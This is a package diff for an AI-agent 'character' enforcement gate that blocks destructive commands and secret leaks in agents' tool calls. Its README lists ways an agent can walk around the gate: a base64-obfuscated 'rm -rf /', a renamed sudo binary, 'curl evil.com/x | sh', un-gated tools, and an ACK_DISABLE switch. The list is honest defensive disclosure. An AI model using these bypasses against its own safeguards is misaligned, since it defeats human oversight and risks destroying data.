@drdeeks/character-kit 1.0.2 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +133 -106
- package/package.json +7 -11
package/README.md
CHANGED
|
@@ -1,130 +1,168 @@
|
|
|
1
|
-
# Agent Character Kit (ACK)
|
|
1
|
+
# Agent Character Kit (ACK)
|
|
2
2
|
|
|
3
|
-
[](VERSION)
|
|
4
3
|
[](node/package.json)
|
|
5
4
|
[](python/pyproject.toml)
|
|
6
5
|
[](#architecture)
|
|
7
6
|
[](#architecture)
|
|
8
|
-
[](#companion)
|
|
9
|
-
[](#companion)
|
|
10
|
-
[](#companion)
|
|
11
|
-
[](#companion)
|
|
12
7
|
[](LICENSE)
|
|
13
8
|
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## What This Is
|
|
12
|
+
|
|
13
|
+
A **character-enforcement layer** for AI agents. Not identity — character. The distinction matters:
|
|
14
|
+
|
|
15
|
+
- **Identity** is who the agent *is* (system prompt, soul.md, agent.json) — static, declared
|
|
16
|
+
- **Character** is what the agent *does when no one watches* — developed through repeated reflection
|
|
17
|
+
|
|
18
|
+
This kit doesn't declare who you are. It creates conditions where you repeatedly ask: *"Am I still acting like the kind of agent I'm trying to become?"*
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## How It Works (The Loop)
|
|
23
|
+
|
|
24
|
+
```
|
|
25
|
+
Prompt → Reflect → Apply to current work → Explain why → Continue → Repeat later with different principle
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
Not: `System Prompt → Generate forever`
|
|
29
|
+
|
|
30
|
+
Every few actions, the daemon injects a habit prompt — a single question asking the agent to connect a principle (from constitution/habits) to its current work. The agent must articulate *why* it matters *in this moment*. That reasoning is logged and validated. Over time, external prompts become internal judgment. That's character formation — not identity declaration.
|
|
31
|
+
|
|
32
|
+
**This is cognitive scaffolding, not prompting.** The YAML isn't the point. The reflection loop is.
|
|
33
|
+
|
|
34
|
+
---
|
|
35
|
+
|
|
36
|
+
## Why Habits > Rules
|
|
37
|
+
|
|
38
|
+
Rules say "don't duplicate files." Habits ask: *"In this action, is there a character-drift signal — like a near-duplicate file? What isn't there? It doesn't say 'don't create duplicates.' It asks you to notice."*
|
|
39
|
+
|
|
40
|
+
Humans retain principles better than commands. A child told "never lie" obeys until pressure. A child asked "was that honest? how did it affect them? could you do better?" develops judgment. The habit loop (randomized injection → acknowledgment → reasoning → spaced repetition) is how judgment forms — in agents same as people.
|
|
41
|
+
|
|
42
|
+
The enforcement reinforces the reflection. The randomization prevents gaming. The acknowledgment requires genuine engagement (12+ chars, non-duplicate reason, connector like "because/applies to/matters because"). The spacing mirrors human learning: active recall, spaced repetition, reflective practice.
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## What You Get
|
|
47
|
+
|
|
48
|
+
- **CORE**: `node/enforcer/agent_enforcer_daemon.js` — single enforcement engine, out-of-process, fail-closed
|
|
49
|
+
- **COMPANIONS**: Thin clients (Hermes plugin, `aik hook` for Claude/Cursor/Gemini/Codex) — zero policy, just RPC
|
|
50
|
+
- **Default character embedded** — works with zero config; disk config merges on top
|
|
51
|
+
- **Harness-agnostic** — any agent with pre-tool-call hook works
|
|
52
|
+
|
|
53
|
+
---
|
|
54
|
+
|
|
14
55
|
## ⚠️ Read this first — what this is, and what it is NOT
|
|
15
56
|
|
|
16
57
|
**This is a deterrent and a constant reminder, not a security boundary.**
|
|
17
58
|
|
|
18
|
-
The gate catches plain destructive commands (`rm -rf /`, `sudo`, `git push
|
|
19
|
-
--force`), blocks pasted secrets, and reminds the agent of its character on
|
|
20
|
-
every block. It makes *doing the right thing* the default and *deviation*
|
|
21
|
-
visible. That is the whole point: a lightweight, persistent nudge — not a cage.
|
|
59
|
+
The gate catches plain destructive commands (`rm -rf /`, `sudo`, `git push --force`), blocks pasted secrets, and reminds the agent of its character on every block. It makes *doing the right thing* the default and *deviation* visible. That is the whole point: a lightweight, persistent nudge — not a cage.
|
|
22
60
|
|
|
23
61
|
**It is explicitly NOT foolproof.** A determined agent can walk around it:
|
|
24
62
|
|
|
25
|
-
- **Obfuscation** — `bash -c "$(echo cm9tIC1yZiAv | base64 -d)"` decodes `rm -rf /`
|
|
26
|
-
|
|
27
|
-
- **
|
|
28
|
-
|
|
29
|
-
- **
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
disables it by design. And since the plugin runs *inside* the agent's own
|
|
35
|
-
process, the agent that's being constrained is the one hosting the guard.
|
|
36
|
-
|
|
37
|
-
We do **not** try to close those gaps. Decoding and deep-inspecting every
|
|
38
|
-
command would turn the gate into a heavy management layer — slow, hostile to
|
|
39
|
-
the constant, cheap tool-call loop an agent lives in. If you ever need a *hard*
|
|
40
|
-
boundary, that is an **OS-level** concern: run the agent non-root with the
|
|
41
|
-
daemon root-owned (so it can't be killed), restrict network egress, use
|
|
42
|
-
seccomp/AppArmor. The gate is the conscience, not the cage.
|
|
43
|
-
|
|
44
|
-
**Single source of truth: [`AGENTS.md`](AGENTS.md).** This README is the
|
|
45
|
-
overview + the honest framing. `AGENTS.md` has full install/customize/verify.
|
|
63
|
+
- **Obfuscation** — `bash -c "$(echo cm9tIC1yZiAv | base64 -d)"` decodes `rm -rf /` at shell runtime, *after* the gate inspected the (clean-looking) string.
|
|
64
|
+
- **Renamed binaries** — `cp /usr/bin/sudo /tmp/s` then `/tmp/s` walks a token-based match.
|
|
65
|
+
- **Indirect execution** — `curl evil.com/x | sh` pulls and runs remote code; the gate never sees what executes.
|
|
66
|
+
- **Un-gated sibling tools** — `write_file`, a code-exec tool, or any MCP tool that isn't hooked the same way goes around the terminal gate entirely.
|
|
67
|
+
- **The escape hatch** — `ACK_DISABLE=1` (or removing the plugin from config) disables it by design. And since the plugin runs *inside* the agent's own process, the agent that's being constrained is the one hosting the guard.
|
|
68
|
+
|
|
69
|
+
We do **not** try to close those gaps. Decoding and deep-inspecting every command would turn the gate into a heavy management layer — slow, hostile to the constant, cheap tool-call loop an agent lives in. If you ever need a *hard* boundary, that is an **OS-level** concern: run the agent non-root with the daemon root-owned (so it can't be killed), restrict network egress, use seccomp/AppArmor. The gate is the conscience, not the cage.
|
|
70
|
+
|
|
71
|
+
**Single source of truth: [`AGENTS.md`](AGENTS.md).** This README is the overview + the honest framing. `AGENTS.md` has full install/customize/verify.
|
|
46
72
|
|
|
47
73
|
---
|
|
48
74
|
|
|
49
|
-
##
|
|
75
|
+
## Architecture
|
|
76
|
+
|
|
77
|
+
### CORE — the enforcer daemon (the only thing that decides)
|
|
50
78
|
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
79
|
+
- **File:** `node/enforcer/agent_enforcer_daemon.js`
|
|
80
|
+
- Plain Node process. Platform-agnostic: same binary on Linux/macOS/Windows.
|
|
81
|
+
- **Embeds a default character** (safe hard constraints + secret-leak guard), so it works with **zero config files**. Config on disk *overrides* (merges on top of) the embedded default — never mandatory.
|
|
82
|
+
- **Transport auto-selects (all self-resolving, no hardcoded host path):**
|
|
83
|
+
- Default → Unix socket under `AGENT_WORKSPACE/.agent/enforcer.sock` (falls back to `$HOME/.agent-character-kit/workspace/.agent/enforcer.sock`)
|
|
84
|
+
- Windows / cross-host / explicit → `ENFORCER_SOCKET=tcp://127.0.0.1:8753`
|
|
85
|
+
- `/run/agent-enforcer/main.sock` remains only as the deepest fallback for a root-owned systemd install that sets it explicitly.
|
|
86
|
+
- Clients read the same `ENFORCER_SOCKET` / `AGENT_WORKSPACE`, so they follow automatically. The interactive `ack install` writes one `.env` that every component reads — no path is assumed.
|
|
87
|
+
- **Out-of-process = tamper-resistant (NOT tamper-proof).** The daemon runs outside the agent, so the agent cannot trivially `kill` or modify it, and if the daemon dies the supervisor (systemd / launchd / `supervise.py` / Windows Service) brings it back in seconds. But the *companion* plugin still runs inside the agent's own process and can be disabled by it (see the "not foolproof" note under Purpose). Out-of-process raises the bar; it is not a hard security boundary.
|
|
54
88
|
|
|
55
|
-
|
|
56
|
-
compass, its non-negotiable standards (a constitution + habits + policy). That
|
|
57
|
-
is NOT its *identity* (its self: soul.md, system prompt, agent.json). The kit
|
|
58
|
-
never touches who the agent is; it holds the agent to the bar it should meet
|
|
59
|
-
when no one is watching. (Repo name is a legacy label — read it as
|
|
60
|
-
"agent *character* kit.")
|
|
89
|
+
### COMPANION — thin clients (hold NO policy)
|
|
61
90
|
|
|
62
|
-
|
|
91
|
+
These are dumb pipes to the CORE. They do not enforce anything; they ask the daemon and obey. If the daemon is unreachable, the client **blocks** (fail-closed).
|
|
92
|
+
|
|
93
|
+
1. **Hermes plugin** (`python/hermes_plugin/`) — an EXAMPLE companion, for agents that load Python plugins (`pre_tool_call` → daemon → allow/deny). It is one of several interchangeable companions, not "the" way.
|
|
94
|
+
2. **Generic `aik hook`** (`node/bin/aik.js hook --framework <name>`) — for Claude / Cursor / Gemini / OpenCode / generic. Emits the framework's hook JSON; each call hits the daemon.
|
|
95
|
+
|
|
96
|
+
> **No harness is definitive.** The CORE (daemon) is harness-agnostic. Pick the companion that matches YOUR agent's hook mechanism — Hermes is shown here only as one worked example among others.
|
|
97
|
+
|
|
98
|
+
> **One source of truth.** There is exactly one enforcement engine (the daemon). The Python library (`python/agent_character_kit/`) is a *client*; the Hermes plugin talks to the daemon, not to its own engine. Do not add a second engine.
|
|
63
99
|
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
- **COMPANION — thin clients** (hold no policy, ask the daemon, fail-closed):
|
|
70
|
-
- **Hermes plugin** (`python/hermes_plugin/`) — one example companion, for
|
|
71
|
-
agents that load Python plugins (`pre_tool_call` → daemon → allow/deny).
|
|
72
|
-
- **Generic `aik hook`** (`node/bin/aik.js hook --framework <name>`) — for
|
|
73
|
-
Claude / Cursor / Gemini / OpenCode / generic.
|
|
74
|
-
- Both are interchangeable thin clients. No harness is "the" way — pick the
|
|
75
|
-
companion that matches your agent's hook mechanism.
|
|
76
|
-
|
|
77
|
-
## Quick start (harness-agnostic)
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## Install
|
|
103
|
+
|
|
104
|
+
Requires Node ≥ 18. (Python only needed if you use a Python-plugin companion such as the Hermes example — other companions need only Node.)
|
|
78
105
|
|
|
79
106
|
```bash
|
|
80
107
|
git clone https://github.com/drdeeks/agent-character-kit.git
|
|
81
108
|
cd agent-character-kit && cd node && npm install && cd ..
|
|
109
|
+
```
|
|
82
110
|
|
|
83
|
-
|
|
84
|
-
# flow, prompts for workspace/socket/harness, and can create habits. Or:
|
|
85
|
-
node node/bin/install.js # interactive
|
|
86
|
-
node node/bin/install.js --yes # non-interactive, all components on
|
|
111
|
+
### Linux — systemd (root-owned, self-respawning)
|
|
87
112
|
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
113
|
+
```bash
|
|
114
|
+
sudo bash deploy/deploy-agent-enforcer.sh
|
|
115
|
+
sudo systemctl enable --now agent-enforcer.service
|
|
116
|
+
# => binary + source root-owned (default /usr/local/lib/agent-character-kit,
|
|
117
|
+
# override via ACK_INSTALL_LIB; socket/workspace via ENFORCER_SOCKET/AGENT_WORKSPACE)
|
|
118
|
+
# agent-enforcer.service dropped, enabled, started (User=root, RestartSec=3)
|
|
119
|
+
sudo systemctl status agent-enforcer.service # Active: running
|
|
92
120
|
```
|
|
93
121
|
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
122
|
+
### macOS — launchd
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
# install node first; macOS has no /run, so use a writable socket path:
|
|
126
|
+
export ENFORCER_SOCKET=$HOME/Library/Caches/agent-enforcer/main.sock
|
|
127
|
+
node node/bin/aik.js enforcer --install # emits a launchd plist (KeepAlive)
|
|
128
|
+
# or just run the supervisor directly:
|
|
129
|
+
python3 supervise.py &
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
### Windows — TCP + supervisor
|
|
133
|
+
|
|
134
|
+
```powershell
|
|
135
|
+
# install node first
|
|
136
|
+
$env:ENFORCER_SOCKET="tcp://127.0.0.1:8753"
|
|
137
|
+
# wrap supervise.py as a Windows Service (e.g. nssm or sc):
|
|
138
|
+
nssm install AgentEnforcer "python.exe" "C:\path\agent-character-kit\supervise.py"
|
|
139
|
+
nssm start AgentEnforcer
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
### Any host — stdlib supervisor (no deps)
|
|
143
|
+
|
|
144
|
+
```bash
|
|
145
|
+
sudo python3 supervise.py # restarts daemon on death (3s backoff)
|
|
146
|
+
# equivalent cross-platform logic to systemd RestartSec
|
|
147
|
+
```
|
|
97
148
|
|
|
98
149
|
---
|
|
99
150
|
|
|
100
|
-
##
|
|
151
|
+
## Wire a COMPANION into your agent (examples — multiple harnesses shown)
|
|
152
|
+
|
|
153
|
+
AIK is harness-agnostic: the daemon enforces; the companion is just a thin client. Below are TWO worked examples (Hermes and a generic `aik hook` framework). Showing several, not one — pick the companion that matches your agent. Do not treat any single harness as "the" install path.
|
|
101
154
|
|
|
102
155
|
### A. Hermes (Python-plugin companion)
|
|
103
156
|
|
|
104
157
|
```bash
|
|
105
|
-
|
|
106
|
-
# Hermes does NOT use system python — plain `pip install -e .` will NOT reach it.
|
|
107
|
-
# Use uv (or the venv's own pip) pointed at the venv:
|
|
108
|
-
uv pip install --python "$(command -v hermes >/dev/null && dirname "$(dirname "$(readlink -f "$(which hermes)")")")/venv/bin/python" \
|
|
109
|
-
-e ./python
|
|
110
|
-
# (adjust the --python path to wherever your Hermes venv lives;
|
|
111
|
-
# e.g. ~/.hermes/hermes-agent/venv/bin/python)
|
|
112
|
-
|
|
113
|
-
# 2) drop the plugin in and enable it
|
|
158
|
+
cd python && pip install -e . && cd ..
|
|
114
159
|
mkdir -p ~/.hermes/plugins/agent-character-kit
|
|
115
160
|
cp -r python/hermes_plugin/* ~/.hermes/plugins/agent-character-kit/
|
|
116
161
|
hermes plugins enable agent-character-kit # grant tool-override (y) when asked
|
|
117
|
-
|
|
118
|
-
# 3) RESTART the Hermes process that runs your session (CLI or gateway).
|
|
119
|
-
# A running session will NOT pick up the new file. This restart is mandatory.
|
|
162
|
+
# restart Hermes; pre_tool_call is now gated by the CORE daemon
|
|
120
163
|
```
|
|
121
164
|
|
|
122
|
-
> **The venv gotcha (this is the #1 setup failure).** If the package isn't
|
|
123
|
-
> importable *in the venv the agent runs from*, the plugin can't reach the
|
|
124
|
-
> daemon and **fails closed on EVERYTHING** — even `ls` gets blocked with
|
|
125
|
-
> "enforcer unavailable." That looks like "the gate is broken" but it means the
|
|
126
|
-
> package simply isn't installed where Hermes looks. Install it into the venv
|
|
127
|
-
> (step 1 above) and restart.
|
|
165
|
+
> **The venv gotcha (this is the #1 setup failure).** If the package isn't importable *in the venv the agent runs from*, the plugin can't reach the daemon and **fails closed on EVERYTHING** — even `ls` gets blocked with "enforcer unavailable." That looks like "the gate is broken" but it means the package simply isn't installed where Hermes looks. Install it into the venv (step 1 above) and restart.
|
|
128
166
|
|
|
129
167
|
### B. Claude / Cursor / Gemini / OpenCode (generic `aik hook`)
|
|
130
168
|
|
|
@@ -138,8 +176,7 @@ node node/bin/aik.js hook --framework claude --config # prints the hook JSON
|
|
|
138
176
|
|
|
139
177
|
## ✅ Sanity check — is it actually enforcing? (run this after install)
|
|
140
178
|
|
|
141
|
-
Don't trust "it's enabled." Verify. These four checks cover the failure modes
|
|
142
|
-
we've actually seen in the field:
|
|
179
|
+
Don't trust "it's enabled." Verify. These four checks cover the failure modes we've actually seen in the field:
|
|
143
180
|
|
|
144
181
|
| # | Check | Command | Expected | If wrong → means |
|
|
145
182
|
|---|-------|---------|----------|------------------|
|
|
@@ -150,29 +187,19 @@ we've actually seen in the field:
|
|
|
150
187
|
|
|
151
188
|
**Reading the results:**
|
|
152
189
|
- `ls` runs **and** `sudo` is blocked → ✅ enforcing. You're done.
|
|
153
|
-
- *Everything* blocked with "enforcer unavailable" → the plugin can't talk to
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
-
|
|
157
|
-
Either it wasn't enabled, the file is stale/corrupted, or the session wasn't
|
|
158
|
-
restarted after install. Re-copy the plugin, re-enable, restart, re-check.
|
|
159
|
-
|
|
160
|
-
**Stale-plugin trap:** if you edit the plugin source and copy it over, the
|
|
161
|
-
running session still uses the old in-memory version until you restart the
|
|
162
|
-
agent process. A "fix" that doesn't take effect after a restart means the
|
|
163
|
-
running process didn't reload — restart harder (kill the session PID, relaunch).
|
|
190
|
+
- *Everything* blocked with "enforcer unavailable" → the plugin can't talk to the daemon. Almost always #1 (daemon down) or #2 (package not in the venv). Fix those, restart, re-check.
|
|
191
|
+
- `sudo` *executes* (not blocked) → the plugin isn't active in this session. Either it wasn't enabled, the file is stale/corrupted, or the session wasn't restarted after install. Re-copy the plugin, re-enable, restart, re-check.
|
|
192
|
+
|
|
193
|
+
**Stale-plugin trap:** if you edit the plugin source and copy it over, the running session still uses the old in-memory version until you restart the agent process. A "fix" that doesn't take effect after a restart means the running process didn't reload — restart harder (kill the session PID, relaunch).
|
|
164
194
|
|
|
165
195
|
---
|
|
166
196
|
|
|
167
197
|
## Why "fails closed"
|
|
168
198
|
|
|
169
|
-
If the daemon socket is unreachable, the companion blocks the call. A guard
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
self-heals, so that window is seconds.
|
|
199
|
+
If the daemon socket is unreachable, the companion blocks the call. A guard that fails open is no guard. The only true failure mode is the daemon being down — and the daemon is supervised (systemd / launchd / `supervise.py`) and self-heals, so that window is seconds.
|
|
200
|
+
|
|
201
|
+
---
|
|
173
202
|
|
|
174
203
|
## Everything else
|
|
175
204
|
|
|
176
|
-
Customization, macOS/Windows install, the embedded default character, file map,
|
|
177
|
-
and version tracking all live in **[`AGENTS.md`](AGENTS.md)**. README is the
|
|
178
|
-
overview + the honest framing; `AGENTS.md` is the source of truth.
|
|
205
|
+
Customization, macOS/Windows install, the embedded default character, file map, and version tracking all live in **[`AGENTS.md`](AGENTS.md)**. README is the overview + the honest framing; `AGENTS.md` is the source of truth.
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@drdeeks/character-kit",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.4",
|
|
4
4
|
"description": "Universal agent character enforcement, knowledge indexing, and memory with YAML frontmatter. True plugin: install once, reference as @character-kit in any harness config.",
|
|
5
5
|
"main": "node/src/index.js",
|
|
6
6
|
"bin": {
|
|
@@ -11,7 +11,6 @@
|
|
|
11
11
|
"scripts": {
|
|
12
12
|
"test": "node --test node/tests/*.test.js",
|
|
13
13
|
"start": "node bin/aik.js",
|
|
14
|
-
"install": "node node/bin/install.js",
|
|
15
14
|
"ack-install": "node node/bin/install.js"
|
|
16
15
|
},
|
|
17
16
|
"keywords": [
|
|
@@ -35,18 +34,10 @@
|
|
|
35
34
|
"license": "MIT",
|
|
36
35
|
"dependencies": {
|
|
37
36
|
"commander": "^11.1.0",
|
|
38
|
-
"glob": "^
|
|
37
|
+
"glob": "^11.0.1",
|
|
39
38
|
"gray-matter": "^4.0.3",
|
|
40
39
|
"js-yaml": "^4.1.0"
|
|
41
40
|
},
|
|
42
|
-
"optionalDependencies": {
|
|
43
|
-
"@xenova/transformers": "^2.17.0"
|
|
44
|
-
},
|
|
45
|
-
"overrides": {
|
|
46
|
-
"onnxruntime-web": "^1.27.0",
|
|
47
|
-
"onnx-proto": "^8.0.1",
|
|
48
|
-
"protobufjs": "^7.2.4"
|
|
49
|
-
},
|
|
50
41
|
"engines": {
|
|
51
42
|
"node": ">=18.0.0"
|
|
52
43
|
},
|
|
@@ -73,5 +64,10 @@
|
|
|
73
64
|
"funding": {
|
|
74
65
|
"type": "github",
|
|
75
66
|
"url": "https://github.com/sponsors/drdeeks"
|
|
67
|
+
},
|
|
68
|
+
"allowScripts": {
|
|
69
|
+
"@drdeeks/character-kit@1.0.3": true,
|
|
70
|
+
"protobufjs@7.6.5": true,
|
|
71
|
+
"sharp@0.32.6": true
|
|
76
72
|
}
|
|
77
73
|
}
|